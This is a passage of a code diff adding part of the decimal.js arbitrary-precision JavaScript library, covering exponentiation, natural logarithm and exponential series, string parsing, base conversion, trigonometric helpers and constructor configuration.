+ * + * Implements 'exponentiation by squaring'. Called by `pow` and `parseOther`. + * + */ + function intPow(Ctor, x, n, pr) { + var isTruncated, + r = new Ctor(1), + + // Max n of 9007199254740991 takes 53 loop iterations. + // Maximum digits array length; leaves [28, 34] guard digits. + k = Math.ceil(pr / LOG_BASE + 4); + + external = false; + + for (;;) { + if (n % 2) { + r = r.times(x); + if (truncate(r.d, k)) isTruncated = true; + } + + n = mathfloor(n / 2); + if (n === 0) { + + // To ensure correct rounding when r.d is truncated, increment the last word if it is zero. + n = r.d.length - 1; + if (isTruncated && r.d[n] === 0) ++r.d[n]; + break; + } + + x = x.times(x); + truncate(x.d, k); + } + + external = true; + + return r; + } + + + function isOdd(n) { + return n.d[n.d.length - 1] & 1; + } + + + /* + * Handle `max` and `min`. `ltgt` is 'lt' or 'gt'. + */ + function maxOrMin(Ctor, args, ltgt) { + var y, + x = new Ctor(args[0]), + i = 0; + + for (; ++i < args.length;) { + y = new Ctor(args[i]); + if (!y.s) { + x = y; + break; + } else if (x[ltgt](y)) { + x = y; + } + } + + return x; + } + + + /* + * Return a new Decimal whose value is the natural exponential of `x` rounded to `sd` significant + * digits. + * + * Taylor/Maclaurin series. + * + * exp(x) = x^0/0! + x^1/1! + x^2/2! + x^3/3! + ... + * + * Argument reduction: + * Repeat x = x / 32, k += 5, until |x| < 0.1 + * exp(x) = exp(x / 2^k)^(2^k) + * + * Previously, the argument was initially reduced by + * exp(x) = exp(r) * 10^k where r = x - k * ln10, k = floor(x / ln10) + * to first put r in the range [0, ln10], before dividing by 32 until |x| < 0.1, but this was + * found to be slower than just dividing repeatedly by 32 as above. + * + * Max integer argument: exp('20723265836946413') = 6.3e+9000000000000000 + * Min integer argument: exp('-20723265836946411') = 1.2e-9000000000000000 + * (Math object integer min/max: Math.exp(709) = 8.2e+307, Math.exp(-745) = 5e-324) + * + * exp(Infinity) = Infinity + * exp(-Infinity) = 0 + * exp(NaN) = NaN + * exp(±0) = 1 + * + * exp(x) is non-terminating for any finite, non-zero x. + * + * The result will always be correctly rounded. + * + */ + function naturalExponential(x, sd) { + var denominator, guard, j, pow, sum, t, wpr, + rep = 0, + i = 0, + k = 0, + Ctor = x.constructor, + rm = Ctor.rounding, + pr = Ctor.precision; + + // 0/NaN/Infinity? + if (!x.d || !x.d[0] || x.e > 17) { + + return new Ctor(x.d + ? !x.d[0] ? 1 : x.s < 0 ? 0 : 1 / 0 + : x.s ? x.s < 0 ? 0 : x : 0 / 0); + } + + if (sd == null) { + external = false; + wpr = pr; + } else { + wpr = sd; + } + + t = new Ctor(0.03125); + + // while abs(x) >= 0.1 + while (x.e > -2) { + + // x = x / 2^5 + x = x.times(t); + k += 5; + } + + // Use 2 * log10(2^k) + 5 (empirically derived) to estimate the increase in precision + // necessary to ensure the first 4 rounding digits are correct. + guard = Math.log(mathpow(2, k)) / Math.LN10 * 2 + 5 | 0; + wpr += guard; + denominator = pow = sum = new Ctor(1); + Ctor.precision = wpr; + + for (;;) { + pow = finalise(pow.times(x), wpr, 1); + denominator = denominator.times(++i); + t = sum.plus(divide(pow, denominator, wpr, 1)); + + if (digitsToString(t.d).slice(0, wpr) === digitsToString(sum.d).slice(0, wpr)) { + j = k; + while (j--) sum = finalise(sum.times(sum), wpr, 1); + + // Check to see if the first 4 rounding digits are [49]999. + // If so, repeat the summation with a higher precision, otherwise + // e.g. with precision: 18, rounding: 1 + // exp(18.404272462595034083567793919843761) = 98372560.1229999999 (should be 98372560.123) + // `wpr - guard` is the index of first rounding digit. + if (sd == null) { + + if (rep < 3 && checkRoundingDigits(sum.d, wpr - guard, rm, rep)) { + Ctor.precision = wpr += 10; + denominator = pow = t = new Ctor(1); + i = 0; + rep++; + } else { + return finalise(sum, Ctor.precision = pr, rm, external = true); + } + } else { + Ctor.precision = pr; + return sum; + } + } + + sum = t; + } + } + + + /* + * Return a new Decimal whose value is the natural logarithm of `x` rounded to `sd` significant + * digits. + * + * ln(-n) = NaN + * ln(0) = -Infinity + * ln(-0) = -Infinity + * ln(1) = 0 + * ln(Infinity) = Infinity + * ln(-Infinity) = NaN + * ln(NaN) = NaN + * + * ln(n) (n != 1) is non-terminating. + * + */ + function naturalLogarithm(y, sd) { + var c, c0, denominator, e, numerator, rep, sum, t, wpr, x1, x2, + n = 1, + guard = 10, + x = y, + xd = x.d, + Ctor = x.constructor, + rm = Ctor.rounding, + pr = Ctor.precision; + + // Is x negative or Infinity, NaN, 0 or 1? + if (x.s < 0 || !xd || !xd[0] || !x.e && xd[0] == 1 && xd.length == 1) { + return new Ctor(xd && !xd[0] ? -1 / 0 : x.s != 1 ? NaN : xd ? 0 : x); + } + + if (sd == null) { + external = false; + wpr = pr; + } else { + wpr = sd; + } + + Ctor.precision = wpr += guard; + c = digitsToString(xd); + c0 = c.charAt(0); + + if (Math.abs(e = x.e) < 1.5e15) { + + // Argument reduction. + // The series converges faster the closer the argument is to 1, so using + // ln(a^b) = b * ln(a), ln(a) = ln(a^b) / b + // multiply the argument by itself until the leading digits of the significand are 7, 8, 9, + // 10, 11, 12 or 13, recording the number of multiplications so the sum of the series can + // later be divided by this number, then separate out the power of 10 using + // ln(a*10^b) = ln(a) + b*ln(10). + + // max n is 21 (gives 0.9, 1.0 or 1.1) (9e15 / 21 = 4.2e14). + //while (c0 < 9 && c0 != 1 || c0 == 1 && c.charAt(1) > 1) { + // max n is 6 (gives 0.7 - 1.3) + while (c0 < 7 && c0 != 1 || c0 == 1 && c.charAt(1) > 3) { + x = x.times(y); + c = digitsToString(x.d); + c0 = c.charAt(0); + n++; + } + + e = x.e; + + if (c0 > 1) { + x = new Ctor('0.' + c); + e++; + } else { + x = new Ctor(c0 + '.' + c.slice(1)); + } + } else { + + // The argument reduction method above may result in overflow if the argument y is a massive + // number with exponent >= 1500000000000000 (9e15 / 6 = 1.5e15), so instead recall this + // function using ln(x*10^e) = ln(x) + e*ln(10). + t = getLn10(Ctor, wpr + 2, pr).times(e + ''); + x = naturalLogarithm(new Ctor(c0 + '.' + c.slice(1)), wpr - guard).plus(t); + Ctor.precision = pr; + + return sd == null ? finalise(x, pr, rm, external = true) : x; + } + + // x1 is x reduced to a value near 1. + x1 = x; + + // Taylor series. + // ln(y) = ln((1 + x)/(1 - x)) = 2(x + x^3/3 + x^5/5 + x^7/7 + ...) + // where x = (y - 1)/(y + 1) (|x| < 1) + sum = numerator = x = divide(x.minus(1), x.plus(1), wpr, 1); + x2 = finalise(x.times(x), wpr, 1); + denominator = 3; + + for (;;) { + numerator = finalise(numerator.times(x2), wpr, 1); + t = sum.plus(divide(numerator, new Ctor(denominator), wpr, 1)); + + if (digitsToString(t.d).slice(0, wpr) === digitsToString(sum.d).slice(0, wpr)) { + sum = sum.times(2); + + // Reverse the argument reduction. Check that e is not 0 because, besides preventing an + // unnecessary calculation, -0 + 0 = +0 and to ensure correct rounding -0 needs to stay -0. + if (e !== 0) sum = sum.plus(getLn10(Ctor, wpr + 2, pr).times(e + '')); + sum = divide(sum, new Ctor(n), wpr, 1); + + // Is rm > 3 and the first 4 rounding digits 4999, or rm < 4 (or the summation has + // been repeated previously) and the first 4 rounding digits 9999? + // If so, restart the summation with a higher precision, otherwise + // e.g. with precision: 12, rounding: 1 + // ln(135520028.6126091714265381533) = 18.7246299999 when it should be 18.72463. + // `wpr - guard` is the index of first rounding digit. + if (sd == null) { + if (checkRoundingDigits(sum.d, wpr - guard, rm, rep)) { + Ctor.precision = wpr += guard; + t = numerator = x = divide(x1.minus(1), x1.plus(1), wpr, 1); + x2 = finalise(x.times(x), wpr, 1); + denominator = rep = 1; + } else { + return finalise(sum, Ctor.precision = pr, rm, external = true); + } + } else { + Ctor.precision = pr; + return sum; + } + } + + sum = t; + denominator += 2; + } + } + + + // ±Infinity, NaN. + function nonFiniteToString(x) { + // Unsigned. + return String(x.s * x.s / 0); + } + + + /* + * Parse the value of a new Decimal `x` from string `str`. + */ + function parseDecimal(x, str) { + var e, i, len; + + // Decimal point? + if ((e = str.indexOf('.')) > -1) str = str.replace('.', ''); + + // Exponential form? + if ((i = str.search(/e/i)) > 0) { + + // Determine exponent. + if (e < 0) e = i; + e += +str.slice(i + 1); + str = str.substring(0, i); + } else if (e < 0) { + + // Integer. + e = str.length; + } + + // Determine leading zeros. + for (i = 0; str.charCodeAt(i) === 48; i++); + + // Determine trailing zeros. + for (len = str.length; str.charCodeAt(len - 1) === 48; --len); + str = str.slice(i, len); + + if (str) { + len -= i; + x.e = e = e - i - 1; + x.d = []; + + // Transform base + + // e is the base 10 exponent. + // i is where to slice str to get the first word of the digits array. + i = (e + 1) % LOG_BASE; + if (e < 0) i += LOG_BASE; + + if (i < len) { + if (i) x.d.push(+str.slice(0, i)); + for (len -= LOG_BASE; i < len;) x.d.push(+str.slice(i, i += LOG_BASE)); + str = str.slice(i); + i = LOG_BASE - str.length; + } else { + i -= len; + } + + for (; i--;) str += '0'; + x.d.push(+str); + + if (external) { + + // Overflow? + if (x.e > x.constructor.maxE) { + + // Infinity. + x.d = null; + x.e = NaN; + + // Underflow? + } else if (x.e < x.constructor.minE) { + + // Zero. + x.e = 0; + x.d = [0]; + // x.constructor.underflow = true; + } // else x.constructor.underflow = false; + } + } else { + + // Zero. + x.e = 0; + x.d = [0]; + } + + return x; + } + + + /* + * Parse the value of a new Decimal `x` from a string `str`, which is not a decimal value. + */ + function parseOther(x, str) { + var base, Ctor, divisor, i, isFloat, len, p, xd, xe; + + if (str === 'Infinity' || str === 'NaN') { + if (!+str) x.s = NaN; + x.e = NaN; + x.d = null; + return x; + } + + if (isHex.test(str)) { + base = 16; + str = str.toLowerCase(); + } else if (isBinary.test(str)) { + base = 2; + } else if (isOctal.test(str)) { + base = 8; + } else { + throw Error(invalidArgument + str); + } + + // Is there a binary exponent part? + i = str.search(/p/i); + + if (i > 0) { + p = +str.slice(i + 1); + str = str.substring(2, i); + } else { + str = str.slice(2); + } + + // Convert `str` as an integer then divide the result by `base` raised to a power such that the + // fraction part will be restored. + i = str.indexOf('.'); + isFloat = i >= 0; + Ctor = x.constructor; + + if (isFloat) { + str = str.replace('.', ''); + len = str.length; + i = len - i; + + // log[10](16) = 1.2041... , log[10](88) = 1.9444.... + divisor = intPow(Ctor, new Ctor(base), i, i * 2); + } + + xd = convertBase(str, base, BASE); + xe = xd.length - 1; + + // Remove trailing zeros. + for (i = xe; xd[i] === 0; --i) xd.pop(); + if (i < 0) return new Ctor(x.s * 0); + x.e = getBase10Exponent(xd, xe); + x.d = xd; + external = false; + + // At what precision to perform the division to ensure exact conversion? + // maxDecimalIntegerPartDigitCount = ceil(log[10](b) * otherBaseIntegerPartDigitCount) + // log[10](2) = 0.30103, log[10](8) = 0.90309, log[10](16) = 1.20412 + // E.g. ceil(1.2 * 3) = 4, so up to 4 decimal digits are needed to represent 3 hex int digits. + // maxDecimalFractionPartDigitCount = {Hex:4|Oct:3|Bin:1} * otherBaseFractionPartDigitCount + // Therefore using 4 * the number of digits of str will always be enough. + if (isFloat) x = divide(x, divisor, len * 4); + + // Multiply by the binary exponent part if present. + if (p) x = x.times(Math.abs(p) < 54 ? mathpow(2, p) : Decimal.pow(2, p)); + external = true; + + return x; + } + + + /* + * sin(x) = x - x^3/3! + x^5/5! - ... + * |x| < pi/2 + * + */ + function sine(Ctor, x) { + var k, + len = x.d.length; + + if (len < 3) return taylorSeries(Ctor, 2, x, x); + + // Argument reduction: sin(5x) = 16*sin^5(x) - 20*sin^3(x) + 5*sin(x) + // i.e. sin(x) = 16*sin^5(x/5) - 20*sin^3(x/5) + 5*sin(x/5) + // and sin(x) = sin(x/5)(5 + sin^2(x/5)(16sin^2(x/5) - 20)) + + // Estimate the optimum number of times to use the argument reduction. + k = 1.4 * Math.sqrt(len); + k = k > 16 ? 16 : k | 0; + + x = x.times(1 / tinyPow(5, k)); + x = taylorSeries(Ctor, 2, x, x); + + // Reverse argument reduction + var sin2_x, + d5 = new Ctor(5), + d16 = new Ctor(16), + d20 = new Ctor(20); + for (; k--;) { + sin2_x = x.times(x); + x = x.times(d5.plus(sin2_x.times(d16.times(sin2_x).minus(d20)))); + } + + return x; + } + + + // Calculate Taylor series for `cos`, `cosh`, `sin` and `sinh`. + function taylorSeries(Ctor, n, x, y, isHyperbolic) { + var j, t, u, x2, + i = 1, + pr = Ctor.precision, + k = Math.ceil(pr / LOG_BASE); + + external = false; + x2 = x.times(x); + u = new Ctor(y); + + for (;;) { + t = divide(u.times(x2), new Ctor(n++ * n++), pr, 1); + u = isHyperbolic ? y.plus(t) : y.minus(t); + y = divide(t.times(x2), new Ctor(n++ * n++), pr, 1); + t = u.plus(y); + + if (t.d[k] !== void 0) { + for (j = k; t.d[j] === u.d[j] && j--;); + if (j == -1) break; + } + + j = u; + u = y; + y = t; + t = j; + i++; + } + + external = true; + t.d.length = k + 1; + + return t; + } + + + // Exponent e must be positive and non-zero. + function tinyPow(b, e) { + var n = b; + while (--e) n *= b; + return n; + } + + + // Return the absolute value of `x` reduced to less than or equal to half pi. + function toLessThanHalfPi(Ctor, x) { + var t, + isNeg = x.s < 0, + pi = getPi(Ctor, Ctor.precision, 1), + halfPi = pi.times(0.5); + + x = x.abs(); + + if (x.lte(halfPi)) { + quadrant = isNeg ? 4 : 1; + return x; + } + + t = x.divToInt(pi); + + if (t.isZero()) { + quadrant = isNeg ? 3 : 2; + } else { + x = x.minus(t.times(pi)); + + // 0 <= x < pi + if (x.lte(halfPi)) { + quadrant = isOdd(t) ? (isNeg ? 2 : 3) : (isNeg ? 4 : 1); + return x; + } + + quadrant = isOdd(t) ? (isNeg ? 1 : 4) : (isNeg ? 3 : 2); + } + + return x.minus(pi).abs(); + } + + + /* + * Return the value of Decimal `x` as a string in base `baseOut`. + * + * If the optional `sd` argument is present include a binary exponent suffix. + */ + function toStringBinary(x, baseOut, sd, rm) { + var base, e, i, k, len, roundUp, str, xd, y, + Ctor = x.constructor, + isExp = sd !== void 0; + + if (isExp) { + checkInt32(sd, 1, MAX_DIGITS); + if (rm === void 0) rm = Ctor.rounding; + else checkInt32(rm, 0, 8); + } else { + sd = Ctor.precision; + rm = Ctor.rounding; + } + + if (!x.isFinite()) { + str = nonFiniteToString(x); + } else { + str = finiteToString(x); + i = str.indexOf('.'); + + // Use exponential notation according to `toExpPos` and `toExpNeg`? No, but if required: + // maxBinaryExponent = floor((decimalExponent + 1) * log[2](10)) + // minBinaryExponent = floor(decimalExponent * log[2](10)) + // log[2](10) = 3.321928094887362347870319429489390175864 + + if (isExp) { + base = 2; + if (baseOut == 16) { + sd = sd * 4 - 3; + } else if (baseOut == 8) { + sd = sd * 3 - 2; + } + } else { + base = baseOut; + } + + // Convert the number as an integer then divide the result by its base raised to a power such + // that the fraction part will be restored. + + // Non-integer. + if (i >= 0) { + str = str.replace('.', ''); + y = new Ctor(1); + y.e = str.length - i; + y.d = convertBase(finiteToString(y), 10, base); + y.e = y.d.length; + } + + xd = convertBase(str, 10, base); + e = len = xd.length; + + // Remove trailing zeros. + for (; xd[--len] == 0;) xd.pop(); + + if (!xd[0]) { + str = isExp ? '0p+0' : '0'; + } else { + if (i < 0) { + e--; + } else { + x = new Ctor(x); + x.d = xd; + x.e = e; + x = divide(x, y, sd, rm, 0, base); + xd = x.d; + e = x.e; + roundUp = inexact; + } + + // The rounding digit, i.e. the digit after the digit that may be rounded up. + i = xd[sd]; + k = base / 2; + roundUp = roundUp || xd[sd + 1] !== void 0; + + roundUp = rm < 4 + ? (i !== void 0 || roundUp) && (rm === 0 || rm === (x.s < 0 ? 3 : 2)) + : i > k || i === k && (rm === 4 || roundUp || rm === 6 && xd[sd - 1] & 1 || + rm === (x.s < 0 ? 8 : 7)); + + xd.length = sd; + + if (roundUp) { + + // Rounding up may mean the previous digit has to be rounded up and so on. + for (; ++xd[--sd] > base - 1;) { + xd[sd] = 0; + if (!sd) { + ++e; + xd.unshift(1); + } + } + } + + // Determine trailing zeros. + for (len = xd.length; !xd[len - 1]; --len); + + // E.g. [4, 11, 15] becomes 4bf. + for (i = 0, str = ''; i < len; i++) str += NUMERALS.charAt(xd[i]); + + // Add binary exponent suffix? + if (isExp) { + if (len > 1) { + if (baseOut == 16 || baseOut == 8) { + i = baseOut == 16 ? 4 : 3; + for (--len; len % i; len++) str += '0'; + xd = convertBase(str, base, baseOut); + for (len = xd.length; !xd[len - 1]; --len); + + // xd[0] will always be be 1 + for (i = 1, str = '1.'; i < len; i++) str += NUMERALS.charAt(xd[i]); + } else { + str = str.charAt(0) + '.' + str.slice(1); + } + } + + str = str + (e < 0 ? 'p' : 'p+') + e; + } else if (e < 0) { + for (; ++e;) str = '0' + str; + str = '0.' + str; + } else { + if (++e > len) for (e -= len; e-- ;) str += '0'; + else if (e < len) str = str.slice(0, e) + '.' + str.slice(e); + } + } + + str = (baseOut == 16 ? '0x' : baseOut == 2 ? '0b' : baseOut == 8 ? '0o' : '') + str; + } + + return x.s < 0 ? '-' + str : str; + } + + + // Does not strip trailing zeros. + function truncate(arr, len) { + if (arr.length > len) { + arr.length = len; + return true; + } + } + + + // Decimal methods + + + /* + * abs + * acos + * acosh + * add + * asin + * asinh + * atan + * atanh + * atan2 + * cbrt + * ceil + * clone + * config + * cos + * cosh + * div + * exp + * floor + * hypot + * ln + * log + * log2 + * log10 + * max + * min + * mod + * mul + * pow + * random + * round + * set + * sign + * sin + * sinh + * sqrt + * sub + * tan + * tanh + * trunc + */ + + + /* + * Return a new Decimal whose value is the absolute value of `x`. + * + * x {number|string|Decimal} + * + */ + function abs(x) { + return new this(x).abs(); + } + + + /* + * Return a new Decimal whose value is the arccosine in radians of `x`. + * + * x {number|string|Decimal} + * + */ + function acos(x) { + return new this(x).acos(); + } + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic cosine of `x`, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function acosh(x) { + return new this(x).acosh(); + } + + + /* + * Return a new Decimal whose value is the sum of `x` and `y`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * y {number|string|Decimal} + * + */ + function add(x, y) { + return new this(x).plus(y); + } + + + /* + * Return a new Decimal whose value is the arcsine in radians of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function asin(x) { + return new this(x).asin(); + } + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic sine of `x`, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function asinh(x) { + return new this(x).asinh(); + } + + + /* + * Return a new Decimal whose value is the arctangent in radians of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function atan(x) { + return new this(x).atan(); + } + + + /* + * Return a new Decimal whose value is the inverse of the hyperbolic tangent of `x`, rounded to + * `precision` significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function atanh(x) { + return new this(x).atanh(); + } + + + /* + * Return a new Decimal whose value is the arctangent in radians of `y/x` in the range -pi to pi + * (inclusive), rounded to `precision` significant digits using rounding mode `rounding`. + * + * Domain: [-Infinity, Infinity] + * Range: [-pi, pi] + * + * y {number|string|Decimal} The y-coordinate. + * x {number|string|Decimal} The x-coordinate. + * + * atan2(±0, -0) = ±pi + * atan2(±0, +0) = ±0 + * atan2(±0, -x) = ±pi for x > 0 + * atan2(±0, x) = ±0 for x > 0 + * atan2(-y, ±0) = -pi/2 for y > 0 + * atan2(y, ±0) = pi/2 for y > 0 + * atan2(±y, -Infinity) = ±pi for finite y > 0 + * atan2(±y, +Infinity) = ±0 for finite y > 0 + * atan2(±Infinity, x) = ±pi/2 for finite x + * atan2(±Infinity, -Infinity) = ±3*pi/4 + * atan2(±Infinity, +Infinity) = ±pi/4 + * atan2(NaN, x) = NaN + * atan2(y, NaN) = NaN + * + */ + function atan2(y, x) { + y = new this(y); + x = new this(x); + var r, + pr = this.precision, + rm = this.rounding, + wpr = pr + 4; + + // Either NaN + if (!y.s || !x.s) { + r = new this(NaN); + + // Both ±Infinity + } else if (!y.d && !x.d) { + r = getPi(this, wpr, 1).times(x.s > 0 ? 0.25 : 0.75); + r.s = y.s; + + // x is ±Infinity or y is ±0 + } else if (!x.d || y.isZero()) { + r = x.s < 0 ? getPi(this, pr, rm) : new this(0); + r.s = y.s; + + // y is ±Infinity or x is ±0 + } else if (!y.d || x.isZero()) { + r = getPi(this, wpr, 1).times(0.5); + r.s = y.s; + + // Both non-zero and finite + } else if (x.s < 0) { + this.precision = wpr; + this.rounding = 1; + r = this.atan(divide(y, x, wpr, 1)); + x = getPi(this, wpr, 1); + this.precision = pr; + this.rounding = rm; + r = y.s < 0 ? r.minus(x) : r.plus(x); + } else { + r = this.atan(divide(y, x, wpr, 1)); + } + + return r; + } + + + /* + * Return a new Decimal whose value is the cube root of `x`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function cbrt(x) { + return new this(x).cbrt(); + } + + + /* + * Return a new Decimal whose value is `x` rounded to an integer using `ROUND_CEIL`. + * + * x {number|string|Decimal} + * + */ + function ceil(x) { + return finalise(x = new this(x), x.e + 1, 2); + } + + + /* + * Configure global settings for a Decimal constructor. + * + * `obj` is an object with one or more of the following properties, + * + * precision {number} + * rounding {number} + * toExpNeg {number} + * toExpPos {number} + * maxE {number} + * minE {number} + * modulo {number} + * crypto {boolean|number} + * defaults {true} + * + * E.g. Decimal.config({ precision: 20, rounding: 4 }) + * + */ + function config(obj) { + if (!obj || typeof obj !== 'object') throw Error(decimalError + 'Object expected'); + var i, p, v, + useDefaults = obj.defaults === true, + ps = [ + 'precision', 1, MAX_DIGITS, + 'rounding', 0, 8, + 'toExpNeg', -EXP_LIMIT, 0, + 'toExpPos', 0, EXP_LIMIT, + 'maxE', 0, EXP_LIMIT, + 'minE', -EXP_LIMIT, 0, + 'modulo', 0, 9 + ]; + + for (i = 0; i < ps.length; i += 3) { + if (p = ps[i], useDefaults) this[p] = DEFAULTS[p]; + if ((v = obj[p]) !== void 0) { + if (mathfloor(v) === v && v >= ps[i + 1] && v <= ps[i + 2]) this[p] = v; + else throw Error(invalidArgument + p + ': ' + v); + } + } + + if (p = 'crypto', useDefaults) this[p] = DEFAULTS[p]; + if ((v = obj[p]) !== void 0) { + if (v === true || v === false || v === 0 || v === 1) { + if (v) { + if (typeof crypto != 'undefined' && crypto && + (crypto.getRandomValues || crypto.randomBytes)) { + this[p] = true; + } else { + throw Error(cryptoUnavailable); + } + } else { + this[p] = false; + } + } else { + throw Error(invalidArgument + p + ': ' + v); + } + } + + return this; + } + + + /* + * Return a new Decimal whose value is the cosine of `x`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function cos(x) { + return new this(x).cos(); + } + + + /* + * Return a new Decimal whose value is the hyperbolic cosine of `x`, rounded to precision + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} A value in radians. + * + */ + function cosh(x) { + return new this(x).cosh(); + } + + + /* + * Create and return a Decimal constructor with the same configuration properties as this Decimal + * constructor. + * + */ + function clone(obj) { + var i, p, ps; + + /* + * The Decimal constructor and exported function. + * Return a new Decimal instance. + * + * v {number|string|Decimal} A numeric value. + * + */ + function Decimal(v) { + var e, i, t, + x = this; + + // Decimal called without new. + if (!(x instanceof Decimal)) return new Decimal(v); + + // Retain a reference to this Decimal constructor, and shadow Decimal.prototype.constructor + // which points to Object. + x.constructor = Decimal; + + // Duplicate. + if (v instanceof Decimal) { + x.s = v.s; + + if (external) { + if (!v.d || v.e > Decimal.maxE) { + + // Infinity. + x.e = NaN; + x.d = null; + } else if (v.e < Decimal.minE) { + + // Zero. + x.e = 0; + x.d = [0]; + } else { + x.e = v.e; + x.d = v.d.slice(); + } + } else { + x.e = v.e; + x.d = v.d ? v.d.slice() : v.d; + } + + return; + } + + t = typeof v; + + if (t === 'number') { + if (v === 0) { + x.s = 1 / v < 0 ? -1 : 1; + x.e = 0; + x.d = [0]; + return; + } + + if (v < 0) { + v = -v; + x.s = -1; + } else { + x.s = 1; + } + + // Fast path for small integers. + if (v === ~~v && v < 1e7) { + for (e = 0, i = v; i >= 10; i /= 10) e++; + + if (external) { + if (e > Decimal.maxE) { + x.e = NaN; + x.d = null; + } else if (e < Decimal.minE) { + x.e = 0; + x.d = [0]; + } else { + x.e = e; + x.d = [v]; + } + } else { + x.e = e; + x.d = [v]; + } + + return; + + // Infinity, NaN. + } else if (v * 0 !== 0) { + if (!v) x.s = NaN; + x.e = NaN; + x.d = null; + return; + } + + return parseDecimal(x, v.toString()); + + } else if (t !== 'string') { + throw Error(invalidArgument + v); + } + + // Minus sign? + if ((i = v.charCodeAt(0)) === 45) { + v = v.slice(1); + x.s = -1; + } else { + // Plus sign? + if (i === 43) v = v.slice(1); + x.s = 1; + } + + return isDecimal.test(v) ? parseDecimal(x, v) : parseOther(x, v); + } + + Decimal.prototype = P; + + Decimal.ROUND_UP = 0; + Decimal.ROUND_DOWN = 1; + Decimal.ROUND_CEIL = 2; + Decimal.ROUND_FLOOR = 3; + Decimal.ROUND_HALF_UP = 4; + Decimal.ROUND_HALF_DOWN = 5; + Decimal.ROUND_HALF_EVEN = 6; + Decimal.ROUND_HALF_CEIL = 7; + Decimal.ROUND_HALF_FLOOR = 8; + Decimal.EUCLID = 9; + + Decimal.config = Decimal.set = config; + Decimal.clone = clone; + Decimal.isDecimal = isDecimalInstance; + + Decimal.abs = abs; + Decimal.acos = acos; + Decimal.acosh = acosh; // ES6 + Decimal.add = add; + Decimal.asin = asin; + Decimal.asinh = asinh; // ES6 + Decimal.atan = atan; + Decimal.atanh = atanh; // ES6 + Decimal.atan2 = atan2; + Decimal.cbrt = cbrt; // ES6 + Decimal.ceil = ceil; + Decimal.cos = cos; + Decimal.cosh = cosh; // ES6 + Decimal.div = div; + Decimal.exp = exp; + Decimal.floor = floor; + Decimal.hypot = hypot; // ES6 + Decimal.ln = ln; + Decimal.log = log; + Decimal.log10 = log10; // ES6 + Decimal.log2 = log2; // ES6 + Decimal.max = max; + Decimal.min = min; + Decimal.mod = mod; + Decimal.mul = mul; + Decimal.pow = pow; + Decimal.random = random; + Decimal.round = round; + Decimal.sign = sign; // ES6 + Decimal.sin = sin; + Decimal.sinh = sinh; // ES6 + Decimal.sqrt = sqrt; + Decimal.sub = sub; + Decimal.tan = tan; + Decimal.tanh = tanh; // ES6 + Decimal.trunc = trunc; // ES6 + + if (obj === void 0) obj = {}; + if (obj) { + if (obj.defaults !== true) { + ps = ['precision', 'rounding', 'toExpNeg', 'toExpPos', 'maxE', 'minE', 'modulo', 'crypto']; + for (i = 0; i < ps.length;) if (!obj.hasOwnProperty(p = ps[i++])) obj[p] = this[p]; + } + } + + Decimal.config(obj); + + return Decimal; + } + + + /* + * Return a new Decimal whose value is `x` divided by `y`, rounded to `precision` significant + * digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * y {number|string|Decimal} + * + */ + function div(x, y) { + return new this(x).div(y); + } + + + /* + * Return a new Decimal whose value is the natural exponential of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} The power to which to raise the base of the natural log. + * + */ + function exp(x) { + return new this(x).exp(); + } + + + /* + * Return a new Decimal whose value is `x` round to an integer using `ROUND_FLOOR`. + * + * x {number|string|Decimal} + * + */ + function floor(x) { + return finalise(x = new this(x), x.e + 1, 3); + } + + + /* + * Return a new Decimal whose value is the square root of the sum of the squares of the arguments, + * rounded to `precision` significant digits using rounding mode `rounding`. + * + * hypot(a, b, ...) = sqrt(a^2 + b^2 + ...) + * + * arguments {number|string|Decimal} + * + */ + function hypot() { + var i, n, + t = new this(0); + + external = false; + + for (i = 0; i < arguments.length;) { + n = new this(arguments[i++]); + if (!n.d) { + if (n.s) { + external = true; + return new this(1 / 0); + } + t = n; + } else if (t.d) { + t = t.plus(n.times(n)); + } + } + + external = true; + + return t.sqrt(); + } + + + /* + * Return true if object is a Decimal instance (where Decimal is any Decimal constructor), + * otherwise return false. + * + */ + function isDecimalInstance(obj) { + return obj instanceof Decimal || obj && obj.name === '[object Decimal]' || false; + } + + + /* + * Return a new Decimal whose value is the natural logarithm of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function ln(x) { + return new this(x).ln(); + } + + + /* + * Return a new Decimal whose value is the log of `x` to the base `y`, or to base 10 if no base + * is specified, rounded to `precision` significant digits using rounding mode `rounding`. + * + * log[y](x) + * + * x {number|string|Decimal} The argument of the logarithm. + * y {number|string|Decimal} The base of the logarithm. + * + */ + function log(x, y) { + return new this(x).log(y); + } + + + /* + * Return a new Decimal whose value is the base 2 logarithm of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function log2(x) { + return new this(x).log(2); + } + + + /* + * Return a new Decimal whose value is the base 10 logarithm of `x`, rounded to `precision` + * significant digits using rounding mode `rounding`. + * + * x {number|string|Decimal} + * + */ + function log10(x) { + return new this(x).log(10); + } + + + /* + * Return a new Decimal whose value is the maximum of the arguments. + * + * arguments {number|string|Decimal} + * + */ + function max() { + return maxOrMin(this, arguments, 'lt'); + } + + + /* + * Return a new Decimal whose value is the minimum of the arguments. + * + * arguments {number|string|Decimal} + * + */ + function min() { + return maxOrMin(this, arguments, 'gt'); + } + + + /* + * Return a new Decimal whose value is `x` modulo `y`, rounded to `precision` significant digits + * using rounding mode `rounding`. + * + * x {number|string|Decimal} + * y {number|string|Decimal} + * + */ + function mod(x, y) { + return new this(x).mod(y); + } + + + /* + * Return a new Decimal whose value is `x` multiplied by `y`, rounded to `precision` significant + * digits using rounding mode 